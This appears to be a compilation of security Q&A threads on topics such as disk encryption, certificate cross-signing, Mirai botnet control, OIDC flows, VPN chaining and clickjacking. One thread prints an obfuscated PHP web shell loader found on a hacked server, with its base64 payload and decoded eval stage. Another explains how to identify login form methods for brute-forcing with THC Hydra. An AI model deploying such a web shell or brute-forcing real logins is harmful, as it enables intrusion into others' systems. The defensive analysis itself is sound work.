Note that I understand that neither approach solves the problem of file fragments being left elsewhere in the system, e.g. in a swap file, without encrypting the entire system - that's not my question.

Truecrypt has an article discussing wear-leveling.  It would appear that Truecrypt still provides a secure solution as long as you can be sure that your keys have not been compromised.  It makes no statement regarding the differences between file-based containers vs. device-based encryption, and so it is likely there are no security tradeoffs to be had aside from those you've already stated.

Therefore, multiple "versions" of a single sector may be available to an attacker. This may have various security implications. For instance, when you change a volume password/keyfile(s), the volume header is, under normal conditions, overwritten with a re-encrypted version of the header. However, when the volume resides on a device that utilizes a wear-leveling mechanism, TrueCrypt cannot ensure that the older header is really overwritten. If an adversary found the old volume header (which was to be overwritten) on the device, he could use it to mount the volume using an old compromised password (and/or using compromised keyfiles that were necessary to mount the volume before the volume header was re-encrypted). Due to security reasons, we recommend that TrueCrypt volumes are not created/stored on devices (or in file systems) that utilize a wear-leveling mechanism (and that TrueCrypt is not used to encrypt any portions of such devices or filesystems).


How is app repackaging attack possible if I only download from Google's play store? Assuming I always download all my apps from official google's app store, how can I still be a victim of a malicious app that was repackaged? or in other terms is app repackaging attack possible via app store?

Google is constantly improving security of Play Store. Yet, the malicious actors' motivation is very high, and repackaging is one of the popular techniques among them.

As a user, you should check that the publisher is same as you expect, and what "other apps" this publisher has. In any case, be careful about the permissions you grant to any app.

If you come across a repackaged apk, please report it to Play Store, as courtesy to other users.


Why do Certificate Authorites cross-sign each other? A Certificate Authority (CA) issues digital certificates to certify the ownership of a public key by the named subject of the certificate. What is the rationale for CAs cross-signing each other (i.e. Y signing Z and Z signing Y)?

For example:

Let Y, X, Z be different CAs. Z may have the following signing arrangements:

    Y <<Z>>
    Z <<Y>>
    Z <<X>>

I couldn't find a good answer from crypto exchange; would appreciate a clear answer, thanks.

Certificate Authorities cross-sign each other when they get married together.

When CA Y issues a certificate for CA Z, then any system who trusts Y will indirectly gain confidence in everything that Z issues, since, for any certificate X issued (signed) by Z, a system that trusts Y will build the chain Y→Z→X. Thus, this cross-certification represents an assertion from Y that basically says: "everything that Z signs is as good as if I, Y, had signed it myself".

If CA Z also issues a certificate for CA Y, then trust goes both ways. Every system that trusts either Y or Z will be able to validate certificates emitted by both. The two CA are now really one, at least as far as trust is concerned.

A divorce would require revoking both cross-certificates, or at least failing to issue new ones when the cross-certificates expire.

(In practice, this kind of things happens when a new CA is created but is "morally" a replacement for the old one; or when a merger occurs between two businesses and they try to fuse their internal computer systems together.)


How is the Mirai botnet directed? One of the recent malware making the rounds is the Mirai botnet, which seems to be focused in Linux-based Internet-of-Things devices. It has been used for DDos atacks on many major websites, including GitHub, Twitter, Reddit, Netflix, Airbnb, and the Dyn DNS service, and is allegedly responsible for killing business in Liberia. Many people have modified the malware to become more potent, some claiming to be its successor.

I suppose this applies to other targeting malware, but I am mainly interested in the Mirai botnet.

How does the creator "control" the botnet to focus on a specific target?

Mirai uses a fairly standard Command and Control structure - the only real difference being that the code for the C&C was made public early on, so it can be updated and reused easily.
This ars technica article on Mirai outlines one of the strengths of Mirai's C&C:

The simplicity of Mirai's C&C structure makes scaling it up relatively simple. "One of the things we noticed during the Dyn attack was that the C&C domain would change its address," Nixon explained. "That way, the C&C network could segment its botnet." By simply changing a DNS entry, the attacker could use the same domain to create and operate multiple separate botnets simultaneously.
When a Mirai bot is created, it sends a request to the Domain Name Service for the "A" address of a domain configured by its creator. Once it has the Internet address associated with that "A" address, it locks onto that IP address. "When one C&C server fills up, [the botnet operator] can just change the IP address associated with that 'A' name," Nixon explained. New bots will connect to the new address while older bots continue to communicate with the previously labeled server.
While this scheme can cause problems with resiliency of the botnet—if a C&C server gets identified and its traffic is shut down, the bots fail—it's not a big problem for the botnet long-term. The botnet can easily be re-established from another server by simply re-discovering vulnerable devices.


keytool -genseckey -alias TDES -keyalg DESede -keysize 128 works within jre/bin folder but not when the keytool.exe is on another location I would like to create a TDES key with size 128bits and 2KTDES key with 192bits for authentication in a Desfire smart card. Hence I have used the keytool to generate the jceks with the following command. When I run the same under the C:\Program Files (x86)\Java\jdk1.8.0_25\jre\bin folder I can see that the execution succeeds and the jceks is created. However when the export the keytool.exe to another location perhaps the desktop, I can see that the same command fails with the following error.

C:\Users\Charan\Desktop\KeyGen>keytool -genseckey -alias TDES -keyalg DESede -keysize 128 -storetype jceks -keystore TDES.jceks -storepass change -keypass change
keytool error: java.security.InvalidParameterException: Wrong keysize: must be equal to 112 or 168

C:\Users\Charan\Desktop\KeyGen>
C:\Users\Charan\Desktop\KeyGen>

I tried the same with both 112 and 168 options, either way it executes without errors but the keysizes created in both the cases is 192 bits. But the original question still remains a mystery because when I tried to create both 192 and 256 bit keys with DESEDE, I was able to do them when running the keytool from the bin folder. The keystore files generated did have the correct key length, 192 and 256.

Meta: this may better fit security or even superuser; if it migrates take my answer along please.

How big? A (full) TDES aka DESede key contains 168 bits of "real" key, but the stored form includes bits originally reserved for parity
and today often ignored totalling 192 bits = 24 octets. "Two-key TDES" (TDEA keying option 2) has 112 "real" bits, stored
sometimes as 128 bits = 16 octets where the first 8 octets (k1) is duplicated as k3 during encryption and decryption,
sometimes as 192 bits = 24 octets where the first 8 octets are actually duplicated in the last 8 octets so that k3 = k1.

The KeyGenerator for DESede in the Oracle-formerly-Sun provider SunJCE accepts only 112 or 168 bits as the size,
and stores always in the 24-octet form; generating 112 bits produces a stored key with k3=k1. This is apparently because
the Cipher from that provider only works with the 24-octet form. The BouncyCastle provider (which I use) KeyGenerator
accepts either 112 or 128 to generate the 16-octet form and either 168 or 192 to generate the 24-octet form, and its
Cipher works with either form. No DESede implementation I've seen (Java or other) generates or uses
a 256-bit key; are you sure you didn't confuse that with AES?

keytool.exe actually runs a JVM and loads Java classes to do the crypto operations including key generation.
Normally it uses the JRE in the same directory, but if you've moved the .exe it must use some
other method to find the JRE; on Windows I bet it uses same registry entries used to find the JRE for browser applets.
This is not normally the JRE within a JDK like yours, and I'm not sure it can be. If you have the JRE-in-JDK
customized with e.g. Bouncycastle, but the "browser" JRE not, you should get the results you describe.

Caveat: two-key TDES only has 56 bits of strength because of the meet-in-the-middle attack which is now at least nearly practical, and thus is not accepted as secure; see

https://crypto.stackexchange.com/questions/16073/why-is-triple-des-not-vulnerable-to-meet-in-the-middle-attacks
https://crypto.stackexchange.com/questions/24210/128-bit-3des-key-and-aes-key-whats-the-difference
https://crypto.stackexchange.com/questions/25258/can-cycle-finding-techniques-reduce-the-memory-usage-of-the-mitm-attack-against

(and this point is definitely ontopic for crypto).


OpenIdConnect: Is there an advantage to using code flow over implicit flow with form_post? Background: a traditional webapp with a server backend and 3rd party sign in. For this we get a validated id_token on our backend from the 3rd party, use that to identify an account in our system, and issue our own session cookie. We don't need access or refresh tokens from the 3rd party, and the front end doesn't need to see the  id_token.

We are adding a new identity provider (Apple), and we have the option of using either:

Authorization code flow (without PKCE) & token exchange on backend using client secret
Implicit flow with response_mode=form_post, no token exchange, and we validate the id_token & nonce

The implicit flow seems as secure & more straightforward. Is there any reason I should use the code flow instead?

Note: Apple does not support PKCE. They also don't support the implicit flow, just the code & hybrid flows. Thus we would be using the hybrid flow here but ignoring the code, so treating it as if it's an implicit flow. Sorry, it's confusing.

Example

GET /authorize
  ?response_type=code id_token
  &response_mode=form_post
  &redirect_uri=my_url
  &state=the_state
  &nonce=the_nonce
  &scope=...
  &client_id=...

The callback sends the token directly to my backend

POST my_url
  ?id_token=the_token
  &code=ignored_code
  &state=the_state

Additional information

Most recommendations I've found seem to recommend the authorization code flow with PKCE as being the most secure option because it keeps the tokens out of the url & browser history. However my understanding is that form_post also accomplishes that in a simpler way (assuming that you have a backend to process the request & use a nonce). Furthermore, I suspect because form_post is not universally applicable like code flow + pkce, that it is not discussed much, aside from these links I found:

Auth0 suggests using implicit + form_post flow is a good option

  This way you can have an optimized authentication flow (no need to exchange the code for an ID Token)

Mention of form post being simpler from openid foundation:

  To aid the implementation of the best practice, we recommend that OPs consider supporting OAuth 2.0 Form Post Response Mode, as it makes it simpler for clients doing code id_token to get both the code and the ID Token on the backend for verification.

In this draft document about OAuth security topics, using form_post is suggested a few times as a mitigation for some attacks. But in general it strongly recommends code flow with PKCE.

But if PKCE is not available, it doesn't mention what the next best thing is..

Specification for form post response mode

I don't see any security advantage of using the authorization code flow in your case (traditional web application). Indeed, form_post is not vulnerable to referrer leaking or browser history leaking. Posting tokens is nothing new, it's how SAML2, the predecessor of OpenID Connect, worked well without bringing in any specific security weaknesses.

And form_post indeed avoids one round-trip to the AS to authenticate the user. It's just that it cannot be used with javascript SPAs or mobile applications.


Company can tell if new and old passwords are too similar. Is there a security problem? I've spoken to an employee of a big international company in germany.
He said, employees are warned if their new password is too similar to the old password. (e.g. if they change the password from ThePassword12345 to ThePassword12344.
The aim of using hashing functions is to not be able to tell the difference between a password and a random string.
As they can tell if the difference is too small, they have to save at least one password in cleartext.
The employee said they use Windows/SAP systems (and the warning occours on all systems)

My Question is therefore if my analysis is correct or where my error is. As they hire also lots of computer science people, i would guess the error relies on my side, not theirs.

Usually, when users change their password on a system, they're required to input their old password as well, along with the new password.

Now, this old password is hashed and checked against the hash stored in the machine(password is not stored in cleartext). If the hashes match, then the system proceeds to compare the old password and new password. If it finds that the 2 passwords are too similar, then it throws an error, informing the user about the same.

In case the passwords are sufficiently different according to the system logic, then the new password is hashed and this new hash value is stored in the system, hence successfully changing the user's password.

In case the users are NOT required to input their old password, I'd recommend you better check with your IT support team, and raise a concern with the system owner...

UPDATE:
As pointed out in the comments, there's one more way to get around this issue without asking for user's old password. When the user enters the new password, the system generates the variations of the new password entered, hashes each one of them, and compares each hash against the old password's hash. If any of the hash matches, it throws an error. Else, it successfully changes the password.


Which benefits personal anti-spams bring w.r.t. e-mail provider's ones? Assuming that an e-mail service provider is using an excellent anti-spam software, for what reason its users should employ a personal anti-spam?

The only reason that I can think is to improve the detection on the service provider. For example a message that is not label as spam from the provider(the detection is not correct or the MTA don't have the signature or rule to detect that sample) and the user label as spam and report the issue so the provider can add new rules/signature for detect the issue. This mechanism is easy on this example but can be complicated depending on the environment, you can think for example on if the provider receives 10 messages from different users that label as spam then generate the rules/signatures, but basically is the same concept.


How do you identify a website's form-type? How do you know which attack method to use when using software like thc hydra, brutus, etc?
e.g. http-get, https-get, http-form-get, http-form-post, etc?

For example, for sites like Yahoo, Gmail, and Hotmail it's POP3.

In this question, for example, the poster says he:

  pinged the website and obtained the IP address of 209.23.201.55
  identified the form type as a https-form-post

My question is how you do the second step, so you know which attack method to use?

View the page HTML source and locate the form tag.

Look for the action and method.

e.g. on www.facebook.com the source shows

<form id="login_form" action="https://www.facebook.com/login.php?login_attempt=1" method="post"

Here you can see that it is a https form and that the method is POST.

If there is no action then the default is GET.

How these correspond with the terminology in the individual tools will differ, but learning the different HTTP methods will be useful in order to attack them.


FTP hacked, planted file Can anyone help me to understand what this does? Someone has planted a file with this piece of code on my server.It is shortened because it cannot fit the question, but just to have some idea what could it be.

<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};
$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};
$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};
$O0O000O0O=$O0O000O00.$OOO000000{11};
$O0O000O00=$O0O000O00.$OOO000000{3};
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};
$_F=__FILE__;
$_X='Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KNGYgKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKT09Inc0biIpDQogICAgJHN5cz0ndzRuJzsNCiA1bHM1DQogICAgJHN5cz0nM240eCc7DQogICAgDQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZzV0Y3dkKCk7DQo0Zigkc3lzID09ICd3NG4nKSANCnsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJG......TVFsnMSddID0gJ0Y0bDVzTTFuJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnbTFkJyAuICRfUE9TVFsnMSddKSApDQoJYzFsbF8zczVyX2YzbmMoJ20xZCcgLiAkX1BPU1RbJzEnXSk7DQoJNXg0dDsNCj8+';
eval($OOO0000O0('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
?>

You can decode the start of $_X:

root@bt:~# echo -e 'Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KNGYgKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKT09Inc0biIpDQogICAgJHN5cz0ndzRuJzsNCiA1bHM1DQogICAgJHN5cz0nM240eCc7DQogICAgDQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZzV0Y3dkKCk7DQo0Zigkc3lzID09ICd3NG4nKSANCnsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJG' | base64 -d -

?><?php

/**
 * @13th2r Ikr1m ALI
 * @c2pyr4ght a06a
 */
@d5f4n5('VERSION','6.0');
@5rr2r_r5p2rt4ng(E_ALL ^ E_NOTICE);
@s5ss42n_st1rt();
@4n4_s5t('5rr2r_l2g',NULL);
@4n4_s5t('l2g_5rr2rs',0);
@4n4_s5t('m1x_5x5c3t42n_t4m5',0);
@s5t_t4m5_l4m4t(0);
@s5t_m1g4c_q32t5s_r3nt4m5(0);

4f(g5t_m1g4c_q32t5s_gpc()) {
    f3nct42n m1dstr4psl1sh5s($1rr1y) {
        r5t3rn 4s_1rr1y($1rr1y) ? 1rr1y_m1p('m1dstr4psl1sh5s', $1rr1y) : str4psl1sh5s($1rr1y);
    }
    $_POST = m1dstr4psl1sh5s($_POST);
}
$d5f13lt_1ct42n = 'F4l5sM1n';
$d5f13lt_3s5_1j1x = tr35;
$d5f13lt_ch1rs5t = 'W4nd2ws-6ai6';
4f (strt2l2w5r(s3bstr(PHP_OS,0,o))=="w4n")
    $sys='w4n';
 5ls5
    $sys='3n4x';

$h2m5_cwd = @g5tcwd();
4f(4ss5t($_POST['c']))
    @chd4r($_POST['c']);

$cwd = @g5tcwd();
4f($sys == 'w4n')
{
    $h2m5_cwd = str_r5pl1c5("\\", "/", $h2m5_cwd);
    $cwd = str_r5pl1c5("\\", "/", $base64: invalid input

A quick google search reveals that it's a web shell and it has been decoded before:
https://gist.github.com/smiler/4500976

In the eval line:

JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==

This is base64 decoded to:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;


What version of TLS does any web browser use when connecting to server where all SSL Protocols are enabled? All (almost all) web browsers have TLSv1.0 enabled by default, moreover TLSv1.1 and even TLSv1.2 can also be enabled by default.

What version of TLS will be used to connect to web server (e.g. Apache) with all SSLProtocol enabled?

What order of protocols will be used for browser with TLSv1.0-1.2 enabled by default?

For instance, we have a server with all protocols enabled (SSLv3, TLSv1, TLSv1.1 and TLSv1.2). Our browser has TLSv1.0, TLSv1.1 and TLSv1.2 enabled by default. What protocol will be used during first connection to server?

The same situation, but our web server has TLSv1.2 disabled. What will be browser behavior?

The theory, as exposed in the standard is that:

server_version
   This field will contain the lower of that suggested by the client
   in the client hello and the highest supported by the server.

In the ClientHello message, the client announces a single version, and this means "I support all versions up to that version". For instance, if the client says "TLS 1.1" then the client is somehow promising that it can handle SSL 3.0, TLS 1.0 and TLS 1.1. The server is then supposed to pick the most recent protocol version that both client and server support.

However, client implementations know that we do not live in a perfect world, and some servers get it wrong sometimes, so they do connections in a loop. For instance, the client first announces "TLS 1.2", but if the handshake fails for some reason which might be due to flaky support by the server, the client may try again, announcing only "TLS 1.1" or "TLS 1.0". Not all clients do that, but this is common for Web browsers. As @dave explains, a TLS 1.2 ClientHello may be larger than a previous version and make poorly written servers trip on it, so the "try again with a lower version" behaviour is, alas, necessary.

As explained above, the client only announces a range, so the client cannot express a support "with holes", e.g. supporting TLS 1.0 and 1.2 but not 1.1 (not that it makes a lot of sense). Similarly, the client sends both its "maximum supported protocol version" and its ordered list of supported cipher suites, so the client cannot express in a single ClientHello a preference such as: "let's do TLS 1.2 and AES-CBC, but if we have to use TLS 1.0 then I would prefer RC4 because I am in mortal fear of the BEAST attack". If a client wants to enforce such preferences, then it must do the "multiple connections" trick.

To sum up, the normal paradigm of SSL is: the client suggests, the server chooses. But if the client wants to force the server into using some specific protocol version and/or cipher suite, then it can, through re-connections, and existing Web browsers do play such games occasionally.


Question regarding chaining two VPNs Perhaps I am just too stupid to understand it on my own, but I cannot find reliable answers trough Google. Anyway, let me explain what I have on my mind. Please correct me if I am wrong, I am relatively new to security-related stuff.

I consider picking one of three setups:

a) no use of VPN at all - so assuming malicious ISP, he can see and log all the traffic

b) one VPN - protects from ISP spying except metada, but VPN provider can see and log everything he wants to

c) chain of two VPNs - ISP can see only metadata of first provider I connect, both VPNs see each other's IP, but is endpoint (last provider I connect to) able to decrypt all trafic?

What kind of data can both VPNs see in scenario c) ?

(Note that I am not either hacker or someone important, I just can't withstand feeling that all my data is in hands of either ISP or VPN provider. Everyone can set up VPN server and sell it under no-logs policy - you can't check whether he's actually logging or not.)

You can imagine a VPN as an encrypted tunnel to some endpoint:

 you -- encrypted(secret1) --> VPN-endpoint --- not encrypted -> target

This means the VPN endpoint can see the unencrypted traffic and even modify it.

If you add another VPN to the mix and tunnel through the first VPN to the second VPN you get this:

 you -- encrypted(secret1,encrypted(secret2)) --> VPN1
     -- encrypted(secret2)                    --> VPN2
     -- not encrypted                         --> target

This is, the final VPN endpoint (VPN2) can again see and modify the traffic, but not the first VPN endpoint (VPN1). This one can only see that you have some connection to VPN2. And VPN2 can only see that you  connect from VPN1 although  depending on the VPN protocol it might identify you based on your authentication credentials. A typical example of such "onion network" is the TOR network: the nodes in the middle cannot see the unencrypted traffic but the exit node can.


When is it appropriate to provide clickjacking protection one of my websites pages? I run a couple of websites, so I'm just wondering what is the appropriate use of clickjacking protection like the x-frame-options response header? What pages are susceptible to this kind of attack on my users?

In general, every page which allows the user to change data is a potential target for clickjacking. The goal of clickjacking is to trick the victim into taking actions on the attacker's behalf. This affects every page with forms or buttons or other UI elements which have persistent effects.

However, I strongly recommend against taking the blacklist approach and picking individual pages for protection. It's very easy to overlook something, the pages may change over time, and even a seemingly harmless page can become dangerous through an additional vulnerability. For example, the attacker might have found a cross-site scripting vulnerability on your site. By combining this with clickjacking, they may be able to take arbitrary actions regardless of what you originally designed the page for.

The correct approach is whitelisting: You protect every page except those which absolutely must be framed.

Note that setting the header to anything other than DENY isn't reliable. When faced with nested frames, current browsers usually just check the top-level site. This means you can end up with situations like this: You allow the site good.com to embed your page as a frame, but this site also embeds evil.com. This allows evil.com to frame your page despite the X-FRAME-OPTIONS header being set to good.com, because the top-level site is indeed good.com.

So if you do allow framing, expect the page to be framed on any site, not just the one you've chosen.


Stop YouTube tracking when signed out I use YouTube while signed out. I have a Google account, but I only sign in to
check email, then sign right back out. YouTube is tracking what I watch when
signed out, then putting similar videos in the related videos part of the
sidebar.

I think they are using the VISITOR_INFO1_LIVE cookie to do this, but removing
the cookie only fixes the problem for a moment:

Remove cookie
Reload page
Related videos based on history are gone, only generic related videos remain
Reload page
Related videos based on history are back

I noticed that the cookie in question expires next year, could I use JavaScript
to expire it now? Or can I make this stop some other way? I saw
this question, but I am not using the Flash player, I am using HTML5
player.

I don't believe the above solutions work very effectively individually. What I have noticed is that even if I use a different browser, I still get the same video suggestions when I sign in elsewhere. I think in addition to the above options, they also use the IP address to associate you with the videos you watch. So far the best way I've found is to use a VPN while watching youtube. The drawback is the streaming speed of course.


Using only private non-government resources, how can something be sent such that the NSA will see it? Supposing you want the NSA to see something, what does one have to do to guarantee it.  This means in their normal data collection it will be swept up, not in a targeted probe of an individual or with (or without) a subpoena.  The restrictions are as follows:

No use of government resources (can't email to spam@nsa.gov, etc)
No public publishing of information (e.g. twitter, facebook, blog, etc)
Nothing illegal

My thoughts are the following ways that it might be possible in an increasing order of difficulty, but I'm hoping to eliminate my speculation:

Save an item to a gmail drafts folder.  Does using http vs. https matter?
Send an email from a gmail account to itself.
Send an email from a gmail account to a non-existent European email account.
Send an email to an existing European email account.

I'm sure there are others that I haven't thought of.

I'm not looking for speculation, I'm hoping the release of NSA documents that describe their data collection practices will provide an answer.

Wanting to be noticed by the Fingermen - an odd inversion of the usual desire :-)

There are ways, but I'd refrain from some of them unless you are never going to visit the USA*

Use religious phrases or the names of certain fanatics in your correspondence. End and start each conversation with "Allahu Akbar", "Ayman al-Zawahiri" or "Ibrahim al-Asiri"
Set up a numbers station with a short wave radio.
Sprinkle a letter soup of "CIA", "NSA", "DIA", "INR", "ISR", "NSB", "INSCOM", "DOEOIC","OIA", "DEA", "NGA", "NGO", "ONI", "ODNI" plus "Homeland Security" throughout your correspondence. Include "GCHQ", "DSD", "CSEC", "GCSB" if you want improve traffic capture in the wider Five Eyes communication watershed.
Shuffle large blocks of cryptocurrency in a fashion that looks suspiciously like money laundering.
Email (public) aerial or satellite images of places with restricted airspace. Bonus points if a red crosshair is painted on one or more buildings in the image.
Wear a Guy Fawkes mask for every video call you make or video blog you upload to Youtube.

* or love Abu Ghraib-style probes while wearing a orange jumpsuit.


OS Fingerprinting difficulties with nmap and zenmap I am a college student and I am doing a project on information gathering and I am having some difficulties when I run nmap and zenmap for OS fingerprinting.

I get some results that I don't understand, searched the results but found nothing can anyone help me to understand what British Gas is?

I am trying to scan a website.

The fingerprint for this match in the nmap-os-db file looks like this:

# GS-Z3 Data logger, connected to an Energy Display Meter offered by www.energydisplaymeter.co.uk. BGB WebRTU Z3. Firmware Version : 2.05.03 (19), Config Filename: BGBConfig_07_01.bin
Fingerprint British Gas GS-Z3 data logger
Class British Gas | embedded || storage-misc
SEQ(CI=I%II=RI)
OPS(R=N)
WIN(R=N)
ECN(R=N)
T1(R=N)
T2(R=N)
T3(R=N)
T4(R=Y%DF=N%T=FA-104%TG=FF%W=800%S=A+%A=S%F=AR%O=%RD=0%Q=)
T5(R=Y%DF=N%T=FA-104%TG=FF%W=800%S=A%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=N%T=FA-104%TG=FF%W=800%S=A%A=S%F=AR%O=%RD=0%Q=)
T7(R=Y%DF=N%T=FA-104%TG=FF%W=800%S=A%A=S+%F=AR%O=%RD=0%Q=)
U1(DF=N%T=FA-104%TG=FF%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(DFI=S%T=FA-104%TG=FF%CD=S)

All those R=N lines mean that no response was received. Note that Nmap tells you this also: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

This, combined with the tcpwrapped version line, indicates that either the link between you and the system is faulty (many dropped packets and closed connections), or there is something between you and the target that is filtering and manipulating connections.


How large RSA-keys could the worlds combined computer power factorize in reasonable time? If you combined every microprocessor on earth into one humongous computational cluster, how large RSA-keys could you factor in reasonable time (lets say a few years)?

I know from reading the answers to this question that the next real life goal is 1024 bit, but I'm more interesting in purely theoretical answers here.

The current record for RSA-breaking is 768 bits. The only known algorithm which is sufficiently efficient for these key sizes to be envisioned at all is the General Number Field Sieve. This algorithm consists in two big parts, the sieving and then some heavy linear algebra.

When GNFS was first used to crack a 512-bit RSA key, the sieving was the bottleneck; it requires lots of machines with amounts of RAM which were non-trivial at that time. However, for bigger keys, it is the linear algebra which becomes the bottleneck, because it is not easy to parallelize, and requires one really big computer with a lot (a lot) of fast (very fast) RAM.

With all the computers on Earth, you could do the sieving for a 1024-bit factorization effort; all it takes is some thousands of computers with a few dozen gigabytes of RAM each. However, for the corresponding linear algebra, all these computers would amount to nothing. Instead, you have to build a new, special purpose computer with a new architecture.

For instance, consider the biggest supercomputers in existence. They are all accumulation of many microprocessors -- they are CPU-oriented supercomputers, very good at number-crunching on tasks which can be made adequately parallel (many computations per data transfer unit). For the second half of GNFS, you need a RAM-oriented supercomputer, better at data transfers between CPU than actual computations. The theoretical architecture for such a computer has been studied, and we have some good reasons to believe that it is technologically feasible, but it would still be a very substantial effort, beginning right at the chip foundry step.

Summary: even with a botnet controlling all of Earth's computers, you would not crack a 1024-bit RSA key. With all of Apple's cash, you could probably build a special-purpose machine which can crack a 1024-bit RSA key (but good luck with doing that discreetly: you cannot spend billions of dollars without showing up, at least, on economic statistics). For bigger keys (e.g. 1536 bits or more): don't even think about it.


Chances of recovery of data from iPhone 5s if memory has been overwritten 35 times? Use the app 'shredit!' and do the 35 time overwrite. Then you fill the phone with unnecessary data and then reset it to factory settings and erase. What are the chances of recovery of data that was stored one year ago?

Doing this is complete nonsense.

All data on a modern iPhone (5s upward) is encrypted with a key which is derived from a key inside the CPU, another key stored in two copies in the flash memory, and usually the passcode is used as the third key.

All you need to do is erase the two copies of the second of these three keys which is stored in the flash memory, and it's game over. You cannot find the decryption keys anymore, they are 256 bit keys, and they are different for every single file - cracking 256 bit keys is considered physically impossible, and you would have to repeat this for every single file.

Apple also uses an API that can erase physical blocks on a flash drive, so you can safely assume that overwritten encryption keys are not recoverable


